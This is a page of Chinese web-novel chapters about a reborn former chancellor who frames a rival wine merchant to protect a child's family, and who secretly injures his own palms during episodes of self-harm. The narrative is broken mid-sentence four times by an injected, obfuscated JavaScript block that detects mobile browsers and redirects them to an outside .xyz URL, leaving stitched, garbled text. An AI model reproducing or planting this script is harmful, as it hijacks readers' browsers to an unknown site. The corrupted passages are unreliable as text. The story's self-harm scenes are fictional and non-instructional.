而另一头,裴清珩下了学,走在街上听到有人说起许家酒坊被何家盯上了,脚步一转,直接换了方向,去了县里有名的云客茶楼。 但凡县里发生什么出名的事情,这边定会有人议论。 果不其然,刚一进去,就听到有人说起今日衙门发生的事情。 “今儿个那何老板可真是搬起石头砸自己的脚。”一名穿着灰色棉衣外衫的男子笑呵呵道。 中年男子坐在凳子上,面前就一杯最便宜的茶水,听到这话乐呵呵的跟着附和道:“可不是,罗富本来不承认,被那许夫郎一诈,再被大人一吓唬,什么都招了。说是何管家找到他的,给了他十两定金,事成之后会再给他一百两银子。而那郑大虎原本还说自己是冤枉的,有了罗富开口,他再说什么都没人信。他那弟弟也是倒霉,被他大哥硬生生逼着吃了馊的东西,给吃拉了肚子,强加给许家,知道再不说实话,就要被打板子,什么都说了。” 另一个年轻一些的男子也凑过去,说道:“这算什么,当时我就在外看着,大人将何管家叫过来的时候,人家还不承认,说是罗富和郑大虎冤枉他们。罗富也是个谨慎,竟然将何管家给他的信都留着,笔迹一对照下不就分明了。” “当日是罗家老母接的这信,罗家老母虽眼盲看不见人,但脑子可是清楚的很,周边的邻居也不眼瞎,都说来人穿着别提多体面了,高高在上的模样,分明就是何管家。” “那这信到底是不是何管家写的?你快说说。”有人挤进去,好奇问道。 年轻男子见大家都朝他看去,神情有些自得起来,“当然~” 尾音拖长,想要拿乔,没想到被先头的中年男子抢回了话头。 “当然不是啊,那信是何老板写的,每年商户都得报税,衙门里恰好就有何老板写的字,大人命令人拿过来一对比,立刻就看出来了。” “那这不就是何老板觊觎许家酒坊的酿酒法子。” “可不是,谁不知道,酿酒酿酒,看的就是那酒曲,这酒曲好,酿出来的酒才会好。那何家做的就是酒楼生意,若是自家能酿酒,这不就如虎添翼了。”中年男子嗤笑道。 “这何老板可不要遭殃了。” “那何管家也不知怎的,原先如此大喊着说冤枉,看了这信,又瞬间说是自己做的,是自己写信买通了罗富,就是想弄来许家酒曲。再问那罗富,知道部分步骤,自己就能琢磨出个法子来。也是许家谨慎,每个小管事之间只负责一部分,对应其他步骤都不知情,不然何家买通了罗富,哪还需要再让人将酒曲偷出来。” “大人不信何管家的话,何管家又将罗富家里的事情说了出来,比如他老母眼瞎,他在酒坊明明待的比许大管事久,就因为许大管事是许家的家仆就做了大管事,心生怨怼,说了个清楚。” 前头年轻男子不喜被人抢去风头,立马插话道:“大人没全信何管家的话,将何老板叫过来先是忽悠人写了几个字,然后才将事情说明。可笑的是,那何老板立马否认说压根不知晓,又听到自家管家承认了此事,就是对着管家一阵怒骂,说他蠢笨,分明是有人陷害,为何承认。大人让师爷对比了字迹,特意展示给了外头围观的人,那字迹就是何老板的。” “这事最后挺可笑,何老板怒骂何管家为何自作主张,何管家一脸懵,最后两个人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15702570|173501||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都被大人暂时关押。毕竟用这等法子,盗取别家祖传方子,还导致人受伤,咱们县太爷是个明理之人,是断不会听信何老板片面之词,需要查实,但毕竟证据在哪里摆着。” 裴清珩听到这里,便明白事情正如他所想那般发展。 上辈子,罗富这个人便是何管家精挑细选出来,早早就做了调查,而何管家又是何广杰的心腹,那日何广杰同赵志逸交谈之后,定是有了打算,也必然会同自己心腹说道,让其注意。 他只要先他们一步,将他们想做之事做了,就能导致他们自己自乱阵脚,毕竟这些事情本就是他们想要做的。 所以,他让人假扮何管家去接触罗富,那些人并不清楚何管家长什么样子,只要穿衣相似,摆出高高在上的姿态,那些人又岂会记得这人长什么模样。 普通百姓对于富贵人家,天生就觉得低人一等,怕得罪人,不敢多看,尤其这人还摆出一副不好惹的架势。 安排人闹事,闹事的郑大虎本就和何管家有往来,毕竟何家酒楼有些食谱来路并不清白。 所以联系这人,只要递上信件,写明要办的事情,给上银子就行了。 而且,据他上辈子了解,何管家与这人往来,若是写信,必定是要人销毁,以免留下证据。但这人也存了个心眼,暗自偷了一块何管家的玉佩,以防不时之需。 而罗富知道今日会有人闹事,定会按照安排去偷酒曲,到时候被酒坊的人碰到也好,或者顺利的将酒曲送到信上的地点,横竖都会被送入官府。罗富这人又贪生怕死,自会拱出何管家。 上辈子灭了赵家,从赵志逸手中,他拿到过何广杰与他之间的信件。当官数十年,他早已练就了一手模仿字迹的本事。 即便如今年纪小,腕间力道比不得成年,但何广杰的字不过普通,仿写起来并不困难。 何管家认得何广杰的字,便会以为这事是何广杰让人做的,自己家人又都在何家,自然会顶了这罪名。 而何广杰会觉得,是自己这位心腹管家,贪功冒进,自作主张,还擅自模仿他的字,想将他拉下水来,必然会气愤不已。 无论结果如何,与他来说,许家都会躲过此劫。 按照他上辈子对这位崔县令的了解,没有确认其无罪,还有证据的前提下,是绝对不会放何广杰和何管家离去。 整件事情,许家是受害者,而他这个刚来南竹县的人,更是扯不上关系,那个乞丐也再早几天离开了南竹县,去找他妻儿。 即便对此事有疑惑,崔县令也找不到突破口。 这锅,何家不背也得背。 更何况…… 裴清珩从茶楼里出来,在经过何家酒楼的时候,随意的瞥了一眼。 目光冷漠,仿若是看一件死物。 他倒是得感谢赵志逸。 南竹县的悦来阁是赵家的产业,赵志逸看不上何广杰的酒楼,倒是被他撞见了,想到了此事。 同样,也让他想起了一件事。 那个被何广杰用来安插进许家的哥儿。 此刻,也正被养在某处庄子里。 而那处庄子,倒也真是好地方。 裴清珩走在街上,即便少年面貌俊美温和,可周身气质,却让人不敢靠近。 在月光映射之下,漆黑的眸子像是泛着一道幽光。 仿若是狼正紧盯着属于他的猎物。 狠厉并嗜血。 20. 第 20 章 裴清珩回到了沈宅,还未走进正厅,就见有个小小身影正挥舞着一双手朝他跑来。 只是挥舞的手,形状莫名有些不对。 “哥哥你终于回来了呀。”沈小安甜滋滋笑着,两只小猪蹄的手还开心的在哥哥面前挥了挥,形象莫名很喜感。 裴清珩眸光定在那双包裹严实的手,显而易见,这双手受伤了。 他记得上辈子,安安小时候并没有受伤过。唯一有一次生病,还是在安安九岁的时候,一时贪玩没有注意,着了凉,有些发热。 为何,这辈子竟然就受伤了。 突然,那些个鬼神怪诞席卷上了心头。 世上所有东西,想要得到便要付出代价。 他回到了他八岁的时候,是不是说明,他是要付出代价的。 代价便是他的小夫郎? 所以这辈子安安才会受伤。 有那么一刻,裴清珩只觉眼前有些黑,不过是凭着上辈子培养出来的处事不惊,稳住了阵脚。人虽站在原地,看似如常,可脑子却是乱了,面色阴沉,瞳孔失焦。 沈小安原本还想给哥哥看看自己这两只包扎成小猪蹄的手,顺便说道说道自己今日勇敢行为,却没想到哥哥只是一味的盯着自己受伤的手,面色变的越来越难看。 清冷的面容黑沉一片,眸光幽深,将他看的都忘记说话了。 沈小安还是第一次见到哥哥如此黑沉的脸,有些被惊到,但往日一直被宠着,并没有害怕,只是有些不解,想了想,凑过去,小声问道:“哥哥,你怎么了?” 奶呼呼的一句话,声音不大,却是瞬间唤回了裴清珩的神志。 知道自己可能吓到安安了,裴清珩立马收拾好情绪,压下心头似要喷涌而出的破坏欲,恢复到先前温和的模样,看向沈小安,柔声问道:“安安,你这手怎么了?” 沈小安见哥哥又恢复到先前的模样,温柔又好看,琢磨可能自己的猪蹄手手吓到对方了。毕竟爹爹看到他这一双包裹严实的手,也是被吓到了,以为他受了很重的伤,还是娘亲解释了一番,这才安心。 知道哥哥是担心自己,沈小安立马解释道:“哥哥别看安安的手包扎成这样,其实没事哒,就只是磨破了皮,左手划开了一道口子,大夫爷爷说没几日就不用如此包扎了,只是安安好动,所以包的严实些。” 好动是爹爹说的,说大夫有先见之明,知道这年纪的孩子不听话,所以才包的如此严实。 他承认自己好动了些,但是说他不听话,明显就是造谣。 娘亲也觉的爹爹在乱说,当即训斥了爹爹一番,让他胡说八道。 裴清珩双眸定定的看着沈小安,听到伤并不严重,混乱的心仿佛这时候才渐渐有了规律跳动。 可是……这分明与上辈子明显有冲突的伤…… 裴清珩眸光渐渐幽深,黑沉沉,似有什么卷起又放下。 “安安,到底发生了什么,你,你怎会受伤?” “因为安安今天帮温哥儿一起抓小偷呀!”说起自己英勇事迹,沈小安立马就来了兴致,将白日间的事情好好的跟哥哥讲述了一番,重点在于自己如何不怕危险,如何和温哥儿一起将罗管事抓住。 当然,以为自己要死了,以及重重大山这种事自然不会提到。毕竟在沈小安看来,这都是不重要的事情,说了不过是浪费口舌,无需再提。 完全不是他觉得太丢人了。 绝对不是! 裴清珩怎么也没想到,安安的手竟是因为自己安排的事情而受伤。 听到安安和温哥儿一同去了酒坊,听到他竟然碰到了罗富,罗富要对他动手,只觉得心跳忽然跳动的飞快,身体深处似乎又是那种熟悉的感觉。 暴虐、嗜血、破坏…… 不停的在他耳边叫嚣,想要见血,想要厮杀,想要冲破身躯的束缚。 他分明,他分明是想要除掉何广杰、罗富这些人,怎么就害得安安受伤了呢。 若非温哥儿天生大力,按照罗富这种人的心思,只怕安安受伤更重。 都是他,都是他自以为是,才害得安安这辈子无故受伤。 他太想当然了,以为事情都能按照他所预想的发展。 他现在又不是大周丞相。 他算得了什么! 十指握紧成拳,指尖死死嵌入掌心。明明是圆润的指尖,却直接将掌心刺破。 双眸无意识的开始左右看去,想是在找寻什么东西。 沈小安见自己哥哥那张脸越来越难看,即便只能借着薄弱的月光下,他依旧能看到哥哥的双眼似乎有些泛红,像是在找寻着什么,可那一双好看的眸子却是没了神采。 沈小安有些心慌,着急的想拉过哥哥的手,奈何自己的小猪蹄手没法拉,只能凑过去,一把抱住哥哥。 想问哥哥发生什么了,又见哥哥这般样子,忽然想到会不会是因为自己说了今日发生的事,让哥哥觉得害怕,又觉得他冲动,毕竟小孩和成年人,体型相差太大了。他也是被爹爹和娘亲好好教育了一顿,让他以后遇到这种事,保护自己才是最要紧。 沈小安眨了下眼,心中有了主意,故作生气的剁了剁脚,“哥哥可是学习累着了,都怪爹爹不让我去书院,要是我去了书院,我肯定不会让那些个夫子累着哥哥了。” 虽是说着话,沈小安一双眸子却是牢牢的看着自己哥哥。 早知道说了这话,会让哥哥变成这样,他就不会为了想得到哥哥夸奖他厉害,还把自己英勇对抗罗管事特意说的夸大了些。这样的哥哥,让他看着好心疼,像是丢了魂一般。 见哥哥没说话,沈小安目光一暗,咬了下唇,又立马笑着摇晃了下裴清珩,继续撒娇道:“哥哥,明日你带我去书院,好不好呀?” 耳边传来的稚嫩的声音莫名冲淡了那些暴虐的嘶吼,感受到摇晃着自己的力道,裴清珩恍惚了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15702571|173501||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下,像是恢复了神志,又像是在克制。 泛红的眼底,那是对鲜血的渴望,对杀戮的渴求。 指尖更是用力,有血不断滴落。 裴清珩垂眸,对上安安那一动不动看着他的杏眼。 眼里是专注,是关切。 心脏猛的一抽紧,他不能让安安看到如此丑陋的自己。 他绝对不能犯病。 绝对不能! 上辈子,除了给裴丞相看病的太医,无人知道,裴丞相有病,会发疯,会自残。 那一晚,小夫郎死了,死前呕出来的血浸湿了他整片衣领。 从那晚之后,他就病了,整夜整夜的睡不着。 即便吃了药入睡了,睡着之后便会梦见他的小夫郎,不停的吐着血,鲜血弥漫了整个床被,而他却在一旁,无法动作,无能为力。 醒来之后,便是控制不住的破坏欲,想要见血,想要杀人。 也想要杀了自己。 太医如何开药,想尽各种法子,都毫无起色。 药不过只能救治身体上的疾病,救不了心病。 他只要一想到是他做事过分执着于是非黑白,得罪了人,警惕心不够,才会让人寻摸了机会,趁他夫郎生病换了药,从而导致病情加重,无力回天,他便恨不得杀尽所有人,包括他自己。 文武百官只知裴丞相为达目的不择手段,更是以身诱敌,毫不在意自己死活,赢了之后更是喜欢虐杀手下败将。 却从不知晓,在那锦衣华服下的躯体,有多少伤痕。 旧伤未愈,再添新伤。 一道接着一道,从不曾断绝。 他以为自他重生以后,知道小夫郎还活着,这病就痊愈了。 从未想到,并不是。 在得知安安受伤是因为自己部署,那一刻,从内心深处席卷而上的嗜杀、破坏欲,几乎要将他整个人尽数埋没。 他想找匕首,找鞭子,找那炽热的烙铁,找任何一个能让人见血的东西,想让它们身上落在自己身上。 他,从来没有痊愈过,不过是因为心中有了信念,不曾复发罢了。 “哥哥?”沈小安见自己哥哥终于看着自己,立马扯开笑容,奶声奶气说道:“哥哥,等会进去你要跟爹爹说哦,说要带我去书院,顺带你帮安安跟娘亲说说,让娘亲奖励安安明日能多吃几块点心,好不好。” 裴清珩看着那张稚气清澈的容颜,他知道,安安是担心自己,故意说着这些话,想让自己心情好一些。 他想抬手,如往常一般抚摸安安的发顶。 可他更知道,此刻自己的手,有多么的丑陋。 腥臭的鲜血从他身体中流出来,是多么的不堪和卑劣。 裴清珩将自己熟练的掩藏,神情恢复成以往温润的模样,眼里是宠溺,是温柔,嘴角向上勾起,牵起一抹笑意,唇瓣微动,轻柔的吐出一个字。 “好。” 21. 第 21 章 “安安,哥哥先去放下书本,稍后就过来。”裴清珩语气温和。 他不能让安安看见他掌心丑陋的伤口。 “嗯?”沈小安有些疑惑,之前几日哥哥都是和他一起去正厅用了晚膳后,才回屋放书。 “今日夫子布置了功课。”裴清珩解释道。 听到夫子布置了功课,沈小安一张小脸立马就皱在一起了。 夫子太可恶了,明明下学了,还要布置功课。 上学已经够累了,下学了也不放过自己学生。 太坏了! “那哥哥放好东西,记得快点过来用晚膳哦,我让娘亲跟厨房说一声,把点心换成鸽子汤,哥哥得多补补。”沈小安看着自己哥哥,眼里全是怜惜。 “好的,那就多谢安安了。”裴清珩笑道。 想到要给哥哥投喂鸽子汤,沈小安也不缠着裴清珩了,笑着同人挥了挥手,“那哥哥去放书,我现在就让娘亲跟胡师傅说一声,让他给你做鸽子汤。” 说罢,沈小安转身就朝正厅跑去,边跑还不忘记挥动着他那双小猪蹄手,人都没进去,话就已经喊出去了。 “娘亲,娘亲,快让胡师傅做鸽子汤。” 裴清珩看着沈小安远去的身影,手本能的加重力道,刺出鲜血,可就在疼痛传来的那一刻,理智回笼,双手迅速的松开,生怕触碰到掌心。 他,不能吓到安安。 回到屋子,屋子很暗,唯有门外透来的一丝月光。 关门,点开油灯。 低头,是触目的鲜血,掌心早已被鲜血占据,伤口斑驳,像是有四个窟窿眼,此刻依旧再往外冒着鲜血,鲜血顺着掌纹,往外滴落,指缝间皆是刺眼的红色。 裴清珩双手微微一动作,就这么一息之间,地上早已被滴上了血滴。 刺眼的红色,丑陋又不堪。 就像他这个人一般。 看似光明,实则阴暗。 他竟然以为一切重来,他回到八岁的时候,他就可以掌握一切,他更甚至从来没有怀疑过自己,竟觉得自己是个正常人了。 当真是可笑又自负。 裴清珩让人打了盆水来,重新又将门合上,冷眼看着水浸过双手,看着鲜血将水染红,面色冷然,丝毫不在意伤口传来的痛楚。 今日之过,绝不能再犯。 还有…… 裴清珩眸光更冷,眼里尽是戾气。 罗富,很好。 沈小安回到正厅,小嘴就没停下来过。 “爹爹,娘亲,哥哥读书太幸苦了,他的夫子太不懂事了,上学都这么累了,还要给哥哥布置功课,都不知道心疼下孩子。” “哥哥这么聪明,哪里还需要做功课。” “爹爹,明日我要去书院,好好去跟夫子说说,我们家的孩子可不能被欺负了。”沈小安一本正经说道,但见爹爹和娘亲一直没回应他,气的嘟起了小嘴,“爹爹,娘亲,你们是大人要脸,但安安还小,安安可以不要脸。” “夫子若是不同意,安安可以去当泼妇的,泼妇骂街可厉害了。”沈小安挺起胸膛,有些骄傲。 沈慕风、林青梧:…… 林青梧嘴角牵起一抹微笑,朝沈小安招了招手,放柔声音道:“安安跟娘亲说说,你怎么不要脸了,泼妇骂街又是怎么一回事?” 沈小安没看出来娘亲眼里的杀气,屁颠颠跑过去,很是自得的解释道:“安安是小孩子啊,小孩子要什么脸,小孩子哭闹起来,肯定是大人的错,大人要脸,尤其是那夫子,肯定不好意思骂安安的。” 林青梧继续微笑,“那泼妇骂街又是?” “有一次,竹竹陪我和温哥儿去买糖葫芦,就遇到有个夫郎和人争论,说是肉割的不对,那夫郎可厉害了,明明比那屠夫瘦小,可那气势,硬是将屠夫说的,重新给割了肉,围观的里面就有人说这是泼妇骂街,是无赖,可是厉害的很啊!”沈小安越说越佩服,“安安也要当无赖,去泼妇骂街。” 一旁听着的沈慕风,转过头,不想去看自己这个犯傻起来的哥儿了。 救不了,这真的救不了了,只能让沈小安自求多福了。 沈小安还在等着娘亲说自己厉害,然而…… “娘亲,你为什么要罚安安下个月没零花钱。”沈小安委屈了,想到自己要没有钱买糖葫芦,买点心了,没忍住,哇的一声哭出来了,“今天,安安还这么勇敢,你还夸安安有勇气不退缩,怎么就罚安安零花钱了。” “大人不能这么欺负小孩的!” 哭到这里,沈小安停了下来,一双眼紧紧看着娘亲,抽噎了下,很是认真说道:“娘亲更不可以。” 林青梧依旧面露温柔,“没办法,安安要去当无赖,当泼妇,要用自己小孩的身份威胁夫子。娘亲为了安安不被县令大人抓去打板子,只能罚安安没有零花钱了,这样安安没钱出去,就不会被大人知道安安是个无赖,是个泼妇,是个不要脸的孩子,就不会被打板子了。” “为什么当泼妇,当无赖要被打啊!那夫郎就没被大人抓去打,娘亲不能骗人,不能因为安安小,就忽悠安安。”沈小安说的认真。 “娘亲不知道整件事情经过,不好擅自评价。但是安安,如果有个比你更小的宝宝,仗着自己年纪小,因为你不给他喜欢的玩具,就哭就闹,还跟别人说是你欺负他,要你把玩具给他。可是你只是不想要将自己喜欢的东西送给他,你并没有做错什么,但就因为对方小,又哭起来,旁人就说是你的不对,要你把玩具给他,你开心吗?”林青梧耐心说道。 沈小安认真想了想,摇了摇头,“安安不要,宝宝是在无理取闹。” “安安说的没错,就是那宝宝在无理取闹。” 听到娘亲也这么说,沈小安笑了,只是脸颊上还挂着泪,就显得这笑有些可怜。 林青梧拿出绢帕轻柔的擦拭沈小安脸颊上的泪,“安安都知道这是无理取闹,但安安却要当这无理取闹的人,仗着自己年纪小欺负别人,安安觉得对吗?” “可是……”沈小安小小脑袋有些转不过弯,“我是为了帮哥哥呀。” “在书院,没有谁可以不做功课。再有天赋的人,若是不努力,也是难以获得成功。哥哥知道,所以他会认真对待他的功课,他想要靠自己获得属于他的成就。安安,我们要做的是给哥哥支持,尽可能在学业以外的地方减少哥哥的辛苦,让哥哥能全心全意去学习,好吗?”林青梧耐心道。 沈小安小脑袋想了很久,看着林青梧,问道:“娘亲,所以夫子布置功课,是要让哥哥学习更好,哥哥也是喜欢做功课的是吗?安安如果要求夫子不给哥哥布置作业,就像是别人要将我的玩具给宝宝,都是在为难人?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15702572|173501||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 林青梧点了点头,道:“可以这么说,任何一位读书人,都是靠着日复一日的学习才能有所成就,从来没有不劳而获的成功,就像安安会有零花钱,也是因为爹娘努力赚钱,所以安安才会有零花钱。若爹娘生活困苦,又如何给安安零花钱。” 沈小安忽然想到前几日爹爹埋的小箱子,举起小爪子,立马就道:“安安知道,就是因为爹娘有钱,所以爹爹才会埋……” 钱一字还未说出口,沈小安就被沈慕风大手一挥将人抱过去,打断了未说完的话。 一直注意沈小安的沈慕风,在沈小安说起爹娘有钱的那一刻,就知道这娃要说什么,连忙将人抱过去,不让安安将话说完。 “安安真聪明,我们要做的就是支持哥哥学习。”沈慕风笑着摸过沈小安的发顶。 要命,还好他手速快,要是让夫人知道,他藏私房钱的事被沈小安和裴清珩知道了,他都不敢想这几日自己会如何。 他可没沈小安这么好命,在夫人面前有这么大的面子。 沈小安可不知道爹爹的小心思,听到爹爹这么说,立马重重点头:“安安也会支持哥哥学习哒!” 说着,又看向自己娘亲,“娘亲,安安不去当泼妇,无赖了,才不要做抢人玩具的坏宝宝。” “安安明白就好,安安如此聪明,娘亲要奖励安安。”林青梧笑道。 “奖励什么?”沈小安两眼发光。 “就奖励安安下个月零花钱照旧。” “好耶,娘亲最好了。”沈小安开心的举起双手。 沈慕风也笑了,他家哥儿还真是好哄,哦,不对,该说是明事理。 “娘亲,鸽子汤还没好吗?”沈小安又记挂起了要给哥哥的鸽子汤。 “哪里能这么快。”林青梧无奈笑道。 “那哥哥怎么还没来。”沈小安朝外头看去,坐在沈慕风怀里,还不安分的扭动了起来。 危机解除,沈慕风便将沈小安放了下去。 “行了,回你自己的位置。” 沈小安跑回了自己的位置,一双眼却注视着外面,直到外头出现了心心念念的身影,立马开心的挥起了自己一双小猪蹄。 “哥哥呀,快来用膳。” 裴清珩看向沈小安,所有阴暗的心思他都已全部藏好,他现在依旧是安安最喜欢的小仙童哥哥。 光明磊落,心地正直。 裴清珩抬步走进去,朝沈小安笑了下,又看向沈慕风和林青梧拱手抱歉道:“劳伯父伯母久等了。” 沈慕风看向裴清珩的手,手指虽然可以活动,但两只手的掌心都被纱布包扎起来,惊讶问道:“清珩,你这手怎么了?” “哥哥,你怎么也受伤了?”沈小安也惊呼出声。 “路上没注意,摔了一脚,并没有大碍。”裴清珩解释道,“大夫说了,很快就能恢复了,并不耽误写字。” 沈慕风和林青梧互相看了一眼,并不相信这番说辞。 沈小安小小的身子,立马蹦哒了起来,跑到裴清珩身边,心疼的看着裴清珩的手,猪蹄小手捧住哥哥的手,用力的吸了吸鼻子。 他好笨,刚才竟然没发现哥哥的手受伤了。 呜呜呜。 他有些后悔了。 他还是把玩具给小宝宝吧。 他想去书院当一回泼妇。 22. 第 22 章 “哥哥,你告诉安安,是不是被人欺负了?安安可以不要零花钱,可以去当一回泼妇的。”沈小安两眼泪汪汪,要哭不哭的看着裴清珩,眼里写满了心疼。 他的小仙童哥哥,他哥哥这么好看的手竟然受伤了。 到底是谁欺负了他的小仙童哥哥! 他要给哥哥报仇! 裴清珩看向沈小安,虽然不清楚为何跑出来泼妇一词,但是他知道安安是在担心他。抬手,轻轻抚摸过沈小安的发顶,轻柔笑道:“哥哥真的没事,不过是没看清路摔了一跤,被路上的石子划破了手,就像安安一样。” “那还是好痛的呀。”沈小安撇嘴。 “上过药就不痛了。”裴清珩说道。 手上的伤被他用清水洗过,幸而当时从定县过来的时候,因为上辈子遗留下的习惯,准备了纱布,这一次刚好能用上,遮住他掌心丑陋的痕迹。 “哥哥要小心呀。”沈小安不放心的叮嘱道。 “嗯,哥哥记住了。”裴清珩点头。 沈慕风看向裴清珩,心中对裴清珩说的话保持怀疑,他觉得裴清珩不像是会不注意脚下的路。 裴清珩也明白这说辞能糊弄安安,但绝对糊弄不了沈慕风和林青梧,便将想好的理由道了出来。 “从书院出来,听闻许家酒坊出了事,记得安安说过,温哥儿的小爹便是许家酒坊的老板,一时听的认真,就没有注意来往的人和脚下的路。”裴清珩说的时候,神情还有些不好意思,带着一些少年人的羞窘。 “哥哥,原来已经听说了呀。”沈小安惊讶。 “嗯,但只是听到了些只言片语,并没有听全,还是要谢谢方才安安将事情叙述全了。”裴清珩说道。 沈小安笑容有些尴尬,一双小猪蹄有些不好意思的收了回去,杏眼圆溜溜一转,里面有着心虚。 他刚刚说酒坊发生的事,应该还算符合事实吧。 嗯……没有特意夸大! 林青梧不用想,就知道自己哥儿肯定将自己说的特别勇敢,就像白日间同自己爹爹说的时候,可是神气的很,一副我是大英雄的架势。 “下午慕哥儿来看安安的时候,也同我说起过,说何广杰概不承认,何家那管家一开始虽承认,可当何广杰骂他的时候,又是一脸错愕,想要否认。崔县令只能将他们暂时收监了,说是可能到时候会需要安安和温哥儿上堂作证,毕竟罗富偷酒曲是被安安和温哥儿撞见的。”林青梧缓缓道。 “安安要去当证人。”沈小安想拍下自己胸膛,但发现自己这猪蹄手不太行,只能挺起胸膛,骄傲道。 裴清珩看了眼沈小安,心里有了想法,看向林青梧说道:“不知崔县令何时再审理?” 林青梧:“也就这两日的功夫。” 沈慕风:“崔县令也要派人去调查清楚,才能继续审理。” 裴清珩:“若是可以,我想去看看此事会如何审理。” “嗯?”沈慕风朝裴清珩看去。 “读书人考科举,为的便是一朝高中,得以报效朝廷。听闻崔县令乃是一名遏恶扬善的父母官,为民办事,廉洁奉公。我想去看看,不将自己只局限于书本之中。”裴清珩认真说道。 沈慕风不语,只是看着裴清珩,少顷,嘴角牵起一抹笑来,“好,那就一同去看看,想来安安也会很高兴。” 听到爹爹说到自己,沈小安连忙点头,“有哥哥在,安安肯定高兴。” 林青梧、沈慕风纷纷笑出声来。 真真是只要哥哥在,就是好的。 用完膳,裴清珩陪着沈小安回到了屋中。 沈小安看了看两人都被包扎过的手,很是可惜的叹息道:“哎呀,安安和哥哥都受伤了,写不了字了呢。” 如果沈小安说这话的时候,眼里别带上笑,或许可能更有真实性。 裴清珩见沈小安一双杏眼乌溜溜转动,眼里都带着窃喜,眸光微动,神情认真,目光定定的看着沈小安。 “安安,哥哥答应你,今日之事,以后绝对不会发生了,不会再让你受伤了。” 沈小安不明白哥哥为何这么说,歪头疑惑问道:“哥哥,今天不过是凑巧罢了?而且……”沈小安挠了挠头,有些为自己先前夸大其词的讲述感到愧疚,看了一眼哥哥,不好意思说道:“其实都是安安摔跤摔的,如果安安像温哥儿一样……” 话未说完,人却落入一个温暖的怀中。 沈小安愣住了。 裴清珩将小小的人儿一把抱住,感受到怀中温暖的身体,内心似乎才能安定下来,话语出口,很是温柔,眸光凝视前方,却异常坚定,“安安很棒,很勇敢,不需要和别人比,谁家小哥儿可以同安安这般勇敢,面对坏人不退缩,哥哥以安安为荣。” 他绝对不会再让今日之事再度发生。 未来的每一步,他再也不会像这次一般,如此轻狂。 沈小安不明白哥哥为何夸奖自己,但是谁能抵抗的住小仙童哥哥如此真诚的夸奖,反正他安安做不到,嘴角的笑容不由自主的一步一步向上牵起,杏眼都开心的弯起了月牙,很想说让哥哥快点多说说,多多夸夸安安。 但是,作为一个勇敢又厉害的哥儿,他要懂得矜持。 矜持安安努力压下嘴角,仰起头,看向裴清珩,发出邀请,“哥哥既然我们都写不了字,不如我们一起放松放松。” “放松?”裴清珩疑惑。 沈小安让哥哥松开手,转头看向敞开的房门,眼珠子一转,走过去,就见门外站着的沈竹,努力装着一副正经模样,开口道:“竹竹,我和哥哥要好好学习,我先把门关上了,这样安静。” 沈竹虽然觉得今日小公子竟然如此积极关门有些不对劲,但也只是惊讶了下,便就同意道:“好的,小公子。我就在门外候着,若有什么事,叫我一声便可。” “好的,竹竹。”沈小安甜甜一笑,当即就将门合上了。 然后,走到书架后头,想伸手去捞什么,忽然发现自己现在这对小猪蹄似乎伸不进去了,只能求助的看向自己哥哥。 “哥哥,你看看,你能不能帮我把书架移一下,把后面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15702573|173501||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的书拿出来。” “书?”裴清珩走过去,目光朝书架后头缝隙看去。 沈小安:“是呀,我和温哥儿一起买的话本子。好贵的呢,竟然要六百三十文钱,还好当时温哥儿有压岁钱,我的压岁钱都被爹爹拿去了,不然我就一百来文,可买不起。本来说是放温哥儿那里,但许小叔偶尔会去温哥儿房里,教导温哥儿学习,温哥儿怕被发现,就先放在我这边。” 裴清珩记起来,上辈子安安也喜欢看话本子,可惜沈慕风觉得有些话本子写的过于误导人,便不怎么允许安安去买,控制了安安的零花钱,安安就想到可以和温哥儿一起合买。 但他是真没想到,这事发生的如此早,四岁的时候,他们就已经一起合伙买话本子了。 不得不说,在某些地方,他的小夫郎实在有天赋。 裴清珩想到安安并不识字,便问道:“你们买话本子,看得懂吗?” “安安看不懂。”沈小安很诚实,“但温哥儿认字多,他读,安安听。” 裴清珩表示怀疑,但还是顺着沈小安的要求,将藏在书架背后的话本子拿了出来,打开看了几眼。 然后…… “安安,你告诉哥哥,这话本子讲什么的?” 